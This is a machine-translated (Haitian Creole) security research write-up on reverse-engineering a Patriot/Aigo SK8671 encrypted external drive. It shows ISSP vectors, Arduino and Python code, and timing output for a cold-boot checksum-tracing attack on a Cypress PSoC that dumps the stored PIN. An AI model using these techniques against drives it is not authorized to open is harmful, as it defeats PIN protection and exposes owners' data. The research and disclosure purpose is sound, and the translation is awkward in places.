Ranvèse ak Hacking Aigo pwòp tèt ou-chifre ekstèn HDD kondwi. Pati 2: Pran yon pil fatra nan Cypress PSoC

Sa a se pati nan dezyèm ak dènye nan atik la sou Hacking ekstèn kondwi pwòp tèt ou-chiffre. Kite m 'fè ou sonje ke yon kòlèg dènyèman te pote m' yon Patriot (Aigo) SK8671 kondwi difisil, epi mwen deside ranvèse li, epi kounye a mwen pataje sa ki soti nan li. Anvan ou li plis, asire w ou li premye pati atik.

4. Nou kòmanse pran yon pil fatra nan kondwi flash PSoC entèn la
5. ISSP pwotokòl
– 5.1. ki sa ki ISSP?
– 5.2. Demistifikasyon vektè
– 5.3. Kominikasyon ak PSoC
– 5.4. Idantifikasyon nan rejis sou-chip
– 5.5. Bits sekirite
6. Premye (echwe) atak: ROMX
7. Dezyèm atak: Fwad Boot Tracing
– 7.1. Aplikasyon
– 7.2. Lekti rezilta a
– 7.3. Flash rekonstriksyon binè
– 7.4. Jwenn adrès depo PIN kòd la
– 7.5. Pran yon pil fatra nan blòk No 126
– 7.6. Rekiperasyon kòd PIN
8. Ki sa kap vini?
9. Konklizyon

Ranvèse ak Hacking Aigo pwòp tèt ou-chifre ekstèn HDD kondwi. Pati 2: Pran yon pil fatra nan Cypress PSoC


4. Nou kòmanse pran yon pil fatra nan kondwi flash PSoC entèn la

Se konsa, tout bagay endike (jan nou te etabli nan [premye pati a]()) ke se kòd PIN ki estoke nan pwofondè flash PSoC la. Se poutèt sa, nou bezwen li pwofondè flash sa yo. Devan travay nesesè:

  • pran kontwòl "kominikasyon" ak mikrokontwolè a;
  • jwenn yon fason pou tcheke si "kominikasyon" sa a pwoteje kont lekti deyò;
  • jwenn yon fason yo kontoune pwoteksyon an.

Gen de kote li fè sans pou chèche yon kòd PIN valab:

  • memwa flash entèn;
  • SRAM, kote kòd PIN la ka estoke pou konpare li ak kòd PIN itilizatè a antre.

Gade pi devan, mwen pral sonje ke mwen toujou jere yo pran yon pil fatra nan kondwi flash PSoC entèn la - kontoune sistèm sekirite li yo lè l sèvi avèk yon atak pyès ki nan konpitè ki rele "tracing bòt frèt" - apre ranvèse kapasite san papye pwotokòl ISSP la. Sa te pèmèt mwen dirèkteman jete kòd PIN aktyèl la.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Kòd final pwogram:

5. ISSP pwotokòl

5.1. ki sa ki ISSP?

"Kominikasyon" ak yon mikrokontwolè ka vle di diferan bagay: soti nan "machann a vandè" nan entèraksyon lè l sèvi avèk yon pwotokòl seri (pa egzanp, ICSP pou PIC Microchip a).

Cypress gen pwòp pwotokòl propriétaires pou sa a, ki rele ISSP (pwotokòl pwogramasyon seri nan sistèm nan), ki pasyèlman dekri nan spesifikasyon teknik. Patant US7185162 tou bay kèk enfòmasyon. Genyen tou yon ekivalan OpenSource ki rele HSSP (nou pral sèvi ak li yon ti kras pita). ISSP travay jan sa a:

  • rdemare PSoC;
  • pwodiksyon nimewo majik la nan PIN done seri PSoC sa a; antre nan mòd pwogramasyon ekstèn;
  • voye kòmandman, ki se kòd long ti jan yo rele "vektè".

Dokiman ISSP defini vektè sa yo pou sèlman yon ti ponyen kòmandman:

  • Inisyalize-1
  • Inisyalize-2
  • Inisyalize-3 (opsyon 3V ak 5V)
  • ID-SETUP
  • LI-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, kote dddddddd=blòk #
  • BULK ERASE
  • PWOGRAM-BLOK
  • VERIFIE-CONFIGURATION
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kote DDDDDDDD = done soti, aaaaaa = adrès (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kote ddddddd = done nan, aaaaaa = adrès (6 bits)
  • SEKRI
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kote DDDDDDDDDDDDDDDD = done soti: sòm chèk aparèy
  • EFASE BLOK

Pou egzanp, vektè pou Inisyalize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Tout vektè yo gen menm longè: 22 bits. Dokimantasyon HSSP a gen kèk enfòmasyon adisyonèl sou ISSP: "Yon vektè ISSP se pa plis ke yon sekans ti jan ki reprezante yon seri enstriksyon."

5.2. Demistifikasyon Vektè

Ann kalkile sa k ap pase isit la. Okòmansman, mwen te sipoze ke menm vektè sa yo te vèsyon anvan tout koreksyon nan enstriksyon M8C, men apre tcheke ipotèz sa a, mwen te dekouvri ke opcodes yo nan operasyon yo pa matche.

Lè sa a, mwen googled vektè ki pi wo a ak te vin atravè isit la li ye yon etid kote otè a, byenke li pa antre nan detay, bay kèk konsèy itil: "Chak enstriksyon kòmanse ak twa bit ki koresponn ak youn nan kat mnemonik (li nan RAM, ekri nan RAM, li enskri, ekri enskri). Lè sa a, gen 8 Bits adrès, ki te swiv pa 8 Bits done (li oswa ekri) epi finalman twa Bits sispann."

Apre sa, mwen te kapab ranmase kèk enfòmasyon trè itil nan seksyon ROM Sipèvizyon (SROM). manyèl teknik. SROM se yon ROM ki kode difisil nan PSoC ki bay fonksyon sèvis piblik (nan yon fason ki sanble ak Syscall) pou kòd pwogram ki kouri nan espas itilizatè:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: Sòm chèk
  • 08h: kalibre0
  • 09h: kalibre1

Lè nou konpare non vektè ak fonksyon SROM, nou ka kat operasyon yo divès kalite sipòte pa pwotokòl sa a nan paramèt SROM yo espere. Mèsi a sa a, nou ka dekode twa premye moso vektè ISSP yo:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Sepandan, yon konpreyansyon konplè sou pwosesis sou-chip ka sèlman jwenn nan kominikasyon dirèk ak PSoC la.

5.3. Kominikasyon ak PSoC

Depi Dirk Petrautsky te deja pòté Kòd HSSP Cypress a sou Arduino, mwen te itilize Arduino Uno pou konekte avèk konektè ISSP nan tablo klavye a.

Tanpri sonje ke nan kou rechèch mwen an, mwen chanje kòd Dirk a byen yon ti jan. Ou ka jwenn modifikasyon mwen an sou GitHub: isit la ak script Python ki koresponn lan pou kominike ak Arduino, nan depo mwen an cypress_psoc_tools.

Se konsa, lè l sèvi avèk Arduino, mwen te itilize sèlman vektè "ofisyèl" yo pou "kominikasyon". Mwen te eseye li ROM entèn la lè l sèvi avèk lòd VERIFY la. Kòm espere, mwen pa t 'kapab fè sa. Pwobableman akòz lefèt ke li Bits pwoteksyon yo aktive andedan kondwi a flash.

Lè sa a, mwen te kreye kèk nan pwòp vektè senp mwen pou ekri ak li memwa/rejis. Tanpri sonje ke nou ka li tout SROM la menm si kondwi flash la pwoteje!

5.4. Idantifikasyon nan rejis sou-chip

Apre gade vektè "demonte" yo, mwen dekouvri ke aparèy la sèvi ak rejis san papye (0xF8-0xFA) pou presize opcodes M8C, ki egzekite dirèkteman, kontoune pwoteksyon an. Sa a te pèmèt mwen kouri plizyè opcodes tankou "ADD", "MOV A, X", "PUSH" oswa "JMP". Mèsi a yo (nan gade efè segondè yo genyen sou rejis) mwen te kapab detèmine kilès nan rejis san papye yo te aktyèlman rejis regilye (A, X, SP ak PC).

Kòm yon rezilta, kòd "demonte" ki te pwodwi pa zouti HSSP_disas.rb sanble sa a (mwen te ajoute kòmantè pou klè):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bits sekirite

Nan etap sa a mwen ka deja kominike ak PSoC a, men mwen toujou pa gen enfòmasyon serye sou moso sekirite nan kondwi flash la. Mwen te trè etone pa lefèt ke Cypress pa bay itilizatè a nan aparèy la nenpòt ki mwayen yo tcheke si pwoteksyon an aktive. Mwen fouye pi fon nan Google finalman konprann ke kòd HSSP bay pa Cypress te mete ajou apre Dirk lage modifikasyon li. Epi! Nouvo vektè sa a te parèt:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Sèvi ak vektè sa a (gade read_security_data nan psoc.py), nou jwenn tout Bits sekirite nan SRAM nan 0x80, kote gen de Bits pou chak blòk pwoteje.

Rezilta a se depresyon: tout bagay pwoteje nan mòd "enfim ekstèn lekti ak ekriti". Se poutèt sa, non sèlman nou pa ka li anyen nan yon kondwi flash, men nou pa ka ekri anyen tou (pa egzanp, enstale yon dumper ROM la). Ak sèl fason pou enfim pwoteksyon an se konplètman efase chip la tout antye. 🙁

6. Premye (echwe) atak: ROMX

Sepandan, nou ka eseye trick sa a: depi nou gen kapasite pou egzekite opcodes abitrè, poukisa nou pa egzekite ROMX, ki itilize pou li memwa flash? Apwòch sa a gen yon bon chans pou siksè. Paske fonksyon ReadBlock ki li done ki soti nan SROM (ki vektè yo itilize) tcheke si yo rele l nan ISSP. Sepandan, ROMX opcode a gendwa pa gen yon chèk konsa. Se konsa, isit la nan kòd la Python (apre yo fin ajoute kèk klas asistan nan kòd la Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Malerezman kòd sa a pa mache. 🙁 Oswa pito li travay, men nan pwodiksyon an nou jwenn pwòp opcodes nou yo (0x28 0x30 0x40)! Mwen pa panse ke fonksyonalite ki koresponn lan nan aparèy la se yon eleman nan pwoteksyon li. Sa a se plis tankou yon Trick jeni: lè egzekite opcodes ekstèn, otobis ROM la redireksyon nan yon tanpon tanporè.

7. Dezyèm atak: Fwad Boot Tracing

Depi Trick ROMX la pa t travay, mwen te kòmanse reflechi sou yon lòt varyasyon Trick sa a - ki dekri nan piblikasyon an. "Koulye twòp limyè sou pwoteksyon mikrokontroleur a".

7.1. Aplikasyon

Dokiman ISSP bay vektè sa a pou CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Sa a esansyèlman rele fonksyon SROM 0x07, jan yo prezante nan dokiman an (italik mwen):

Verifikasyon total chèk fonksyon sa a. Li kalkile yon sòm chèk 16-bit nan kantite blòk itilizatè yo espesifye nan yon bank flash, kòmanse soti nan zewo. Yo itilize paramèt BLOCKID la pou pase kantite blòk ki pral itilize lè w ap kalkile sòm chèk la. Yon valè "1" pral sèlman kalkile sòm chèk la pou blòk zewo; tandiske "0" pral lakòz total chèk total tout 256 blòk nan bank la flash yo dwe kalkile. Sòm chèk 16-bit la retounen atravè KEY1 ak KEY2. Paramèt KEY1 la estoke 8 bits ki ba yo nan sòm chèk la, ak paramèt KEY2 la estoke 8 bits yo ki pi ba. Pou aparèy ki gen plizyè bank flash, yo rele fonksyon checksum pou chak separeman. Nimewo labank ak ki li pral travay la mete nan enskri FLS_PR1 (pa mete ti jan ki nan li ki koresponn ak bank la flash sib).

Remake byen ke sa a se yon checksum senp: bytes yo tou senpleman ajoute youn apre lòt; pa gen okenn kapris CRC anpenpan. Anplis de sa, konnen ke nwayo a M8C gen yon seri ti rejis, mwen sipoze ke lè w ap kalkile sòm chèk la, valè entèmedyè yo pral anrejistre nan menm varyab yo ki pral finalman ale nan pwodiksyon an: KEY1 (0xF8) / KEY2 ( 0xF9).

Se konsa, nan teyori atak mwen an sanble sa a:

  1. Nou konekte via ISSP.
  2. Nou kòmanse kalkil sòm chèk la lè l sèvi avèk vektè CHECKSUM-SETUP la.
  3. Nou rdemare processeur a apre yon tan espesifye T.
  4. Nou li RAM pou jwenn sòm chèk aktyèl la C.
  5. Repete etap 3 ak 4, ogmante T yon ti kras chak fwa.
  6. Nou refè done ki sòti nan yon kondwi flash pa soustraksyon sòm chèk C anvan an soti nan yon sèl aktyèl la.

Sepandan, gen yon pwoblèm: vektè Initialize-1 ke nou dwe voye apre rdemare ranplase KEY1 ak KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kòd sa a ranplase sòm chèk chè nou an lè w rele Calibrate1 (fonksyon SROM 9)... Petèt nou ka jis voye nimewo majik la (depi nan konmansman an nan kòd ki anwo a) pou antre nan mòd pwogramasyon, ak Lè sa a, li SRAM la? E wi, li travay! Kòd Arduino ki aplike atak sa a se byen senp:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Li checkum_delay.
  2. Kouri kalkil sòm chèk (send_checksum_v).
  3. Tann pou yon peryòd tan espesifik; pran an kont enkonvenyans sa yo:
    • Mwen te pèdi anpil tan jiskaske mwen te jwenn sa li vire soti retaMikwosgond travay kòrèkteman sèlman ak reta ki pa depase 16383 μs;
    • ak Lè sa a, ankò touye menm kantite tan jiskaske mwen dekouvri ke delayMicroseconds, si 0 yo pase nan li kòm yon opinyon, travay konplètman mal!
  4. Rdemare PSoC nan mòd pwogramasyon (nou jis voye nimewo majik la, san yo pa voye vektè inisyalizasyon).

Kòd final nan Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Nan yon bref, kisa kòd sa a fè:

  1. Rdemare PSoC a (epi li voye yon nimewo majik).
  2. Voye vektè inisyalizasyon konplè.
  3. Rele fonksyon Arduino Cmnd_STK_START_CSUM (0x85), kote reta nan mikrosgond yo pase kòm yon paramèt.
  4. Li sòm chèk la (0xF8 ak 0xF9) ak enskri 0xF1 san papye.

Kòd sa a egzekite 10 fwa nan 1 mikrosgond. 0xF1 enkli isit la paske se sèl rejis ki chanje lè yo kalkile sòm chèk la. Petèt li se yon kalite varyab tanporè inite lojik aritmetik itilize. Remake pirate lèd mwen itilize pou réinitialiser Arduino lè l sèvi avèk picocom lè Arduino sispann montre siy lavi (pa gen okenn lide poukisa).

7.2. Lekti rezilta a

Rezilta a nan script Python sanble sa a (senplifye pou lizibilite):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Sa yo te di, nou gen yon pwoblèm: depi nou ap opere ak yon sòm chèk aktyèl, yon byte nil pa chanje valè li a. Sepandan, depi tout pwosedi kalkil la (8192 bytes) pran 0,1478 segonn (ak varyasyon ti tay chak fwa li kouri), ki egal a apeprè 18,04 μs pou chak octet, nou ka itilize tan sa a pou tcheke valè chèk la nan moman apwopriye. Pou premye kouri yo, tout bagay yo li byen fasil, depi dire a nan pwosedi a enfòmatik se toujou prèske menm bagay la. Sepandan, fen pil fatra sa a mwens egzat paske "devyasyon tan minè yo" sou chak kouri ajoute pou vin enpòtan:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Sa se 10 pil fatra pou chak reta mikrosgond. Tan total fonksyone pou jete tout 8192 bytes nan yon kondwi flash se apeprè 48 èdtan.

7.3. Flash rekonstriksyon binè

Mwen poko fini ekri kòd ki pral konplètman rekonstwi kòd pwogram nan kondwi flash la, pran an kont tout devyasyon yo tan. Sepandan, mwen te deja retabli kòmansman kòd sa a. Pou asire w ke mwen te fè li kòrèkteman, mwen demonte li lè l sèvi avèk m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Sanble byen plausible!

7.4. Jwenn adrès depo PIN kòd la

Kounye a ke nou ka li sòm chèk la nan moman nou bezwen yo, nou ka fasilman tcheke ki jan ak ki kote li chanje lè nou:

  • antre move kòd PIN;
  • chanje kòd PIN la.

Premyèman, pou jwenn adrès depo apwoksimatif la, mwen te pran yon pil fatra chèk nan 10 ms apre yon rdemare. Apre sa, mwen te antre nan move PIN epi mwen te fè menm bagay la.

Rezilta a pa t 'trè bèl, paske te gen anpil chanjman. Men, nan fen a, mwen te kapab detèmine ke sòm chèk la chanje yon kote ant 120000 µs ak 140000 µs nan reta. Men, "pincode" ke mwen te parèt la te konplètman kòrèk - akòz yon zafè nan delayMicroseconds pwosedi a, ki fè bagay etranj lè 0 pase nan li.

Lè sa a, apre yo fin depanse prèske 3 èdtan, mwen sonje ke apèl nan sistèm SROM CheckSum resevwa yon agiman kòm opinyon ki espesifye kantite blòk pou sòm chèk la! Sa. nou ka fasilman lokalize adrès depo kòd PIN la ak kontwa "tantativ ki pa kòrèk", ak yon presizyon jiska yon blòk 64-byte.

Kouri inisyal mwen yo te pwodwi rezilta sa a:

Ranvèse ak Hacking Aigo pwòp tèt ou-chifre ekstèn HDD kondwi. Pati 2: Pran yon pil fatra nan Cypress PSoC

Apre sa, mwen chanje kòd PIN soti nan "123456" a "1234567" epi mwen jwenn:

Ranvèse ak Hacking Aigo pwòp tèt ou-chifre ekstèn HDD kondwi. Pati 2: Pran yon pil fatra nan Cypress PSoC

Kidonk, kòd PIN ak kontwa tantativ kòrèk yo sanble yo estoke nan blòk nimewo 126.

7.5. Pran yon pil fatra nan blòk No 126

Blòk #126 ta dwe sitiye yon kote alantou 125x64x18 = 144000μs, depi nan kòmansman an nan kalkil sòm chèk la, nan pil fatra konplè mwen an, epi li sanble byen posib. Lè sa a, apre yo fin tamie manyèlman soti anpil pil fatra envalid (akòz akimilasyon nan "devyasyon distribisyon minè"), mwen te fini jwenn byte sa yo (nan yon latansi nan 145527 μs):

Ranvèse ak Hacking Aigo pwòp tèt ou-chifre ekstèn HDD kondwi. Pati 2: Pran yon pil fatra nan Cypress PSoC

Li se byen evidan ke se kòd PIN ki estoke nan fòm unencrypted! Valè sa yo, nan kou, yo pa ekri nan kòd ASCII, men kòm li vire soti, yo reflete lekti yo pran nan klavye kapasitif la.

Finalman, mwen te kouri kèk lòt tès pou jwenn kote kontwa move tantativ la te estoke. Men rezilta a:

Ranvèse ak Hacking Aigo pwòp tèt ou-chifre ekstèn HDD kondwi. Pati 2: Pran yon pil fatra nan Cypress PSoC

0xFF - vle di "15 tantativ" epi li diminye ak chak tantativ echwe.

7.6. Rekiperasyon kòd PIN

Men kòd lèd mwen an ki mete pi wo a ansanm:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Men rezilta egzekisyon li:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Houra! Travay!

Tanpri sonje ke valè latansi mwen itilize yo gen anpil chans pou yon PSoC espesifik - youn nan mwen te itilize a.

8. Ki sa kap vini?

Se konsa, ann rezime sou bò PSoC, nan kontèks kondwi Aigo nou an:

  • nou ka li SRAM menm si li pwoteje;
  • Nou ka kontoune pwoteksyon an anti-glise lè nou itilize yon atak frèt bòt tras epi li dirèkteman kòd PIN la.

Sepandan, atak nou an gen kèk defo akòz pwoblèm senkronizasyon. Li ta ka amelyore jan sa a:

  • ekri yon sèvis piblik pou kòrèkteman dekode done pwodiksyon an ke yo jwenn kòm rezilta yon atak "tras bòt frèt";
  • sèvi ak yon gadjèt FPGA pou kreye reta tan ki pi presi (oswa itilize revèy kenkayri Arduino);
  • eseye yon lòt atak: antre yon kòd PIN ki fè espre kòrèk, rdemare epi jete RAM, espere ke kòd PIN kòrèk la pral sove nan RAM pou konparezon. Sepandan, sa a se pa tèlman fasil fè sou Arduino, depi nivo siyal Arduino a se 5 vòlt, pandan y ap tablo a nou ap ekzamine travay ak siyal 3,3 volts.

Youn nan bagay enteresan ki ta ka eseye se jwe ak nivo vòltaj la kontoune pwoteksyon an li. Si apwòch sa a te travay, nou ta kapab jwenn done absoliman egzat nan kondwi a flash - olye pou nou konte sou lekti yon sòm chèk ak reta tan enpresiz.

Depi SROM la pwobableman li bits gad yo atravè apèl nan sistèm ReadBlock, nou ta ka fè menm bagay ak dekri sou blog Dmitry Nedospasov a - yon re-aplikasyon nan atak Chris Gerlinski a, te anonse nan konferans lan "REcon Brussels 2017".

Yon lòt bagay amizan ki ta ka fè se moulen ka a soti nan chip la: pran yon pil fatra SRAM, idantifye apèl sistèm san papye ak frajilite.

9. Konklizyon

Kidonk, pwoteksyon kondwi sa a kite anpil bagay yo vle, paske li sèvi ak yon mikrokontwolè regilye (pa "fè tèt di") pou estoke kòd PIN la... Anplis, mwen pa t gade (ankò) kijan bagay yo ap mache ak done yo. chifreman sou aparèy sa a!

Ki sa ou ka rekòmande pou Aigo? Apre analize yon koup nan modèl nan kondui HDD chiffres, nan 2015 mwen te fè prezantasyon sou SyScan, nan ki li te egzamine pwoblèm sekirite plizyè kondui HDD ekstèn, e li te fè rekòmandasyon sou sa ki ka amelyore nan yo. 🙂

Mwen te pase de wikenn ak plizyè aswè ap fè rechèch sa a. Yon total de apeprè 40 èdtan. Konte depi nan konmansman an anpil (lè mwen louvri disk la) jiska la fen (PIN kòd pil fatra). Menm 40 èdtan yo enkli tan mwen te pase ekri atik sa a. Se te yon vwayaj trè enteresan.

Sous: www.habr.com

Add nouvo kòmantè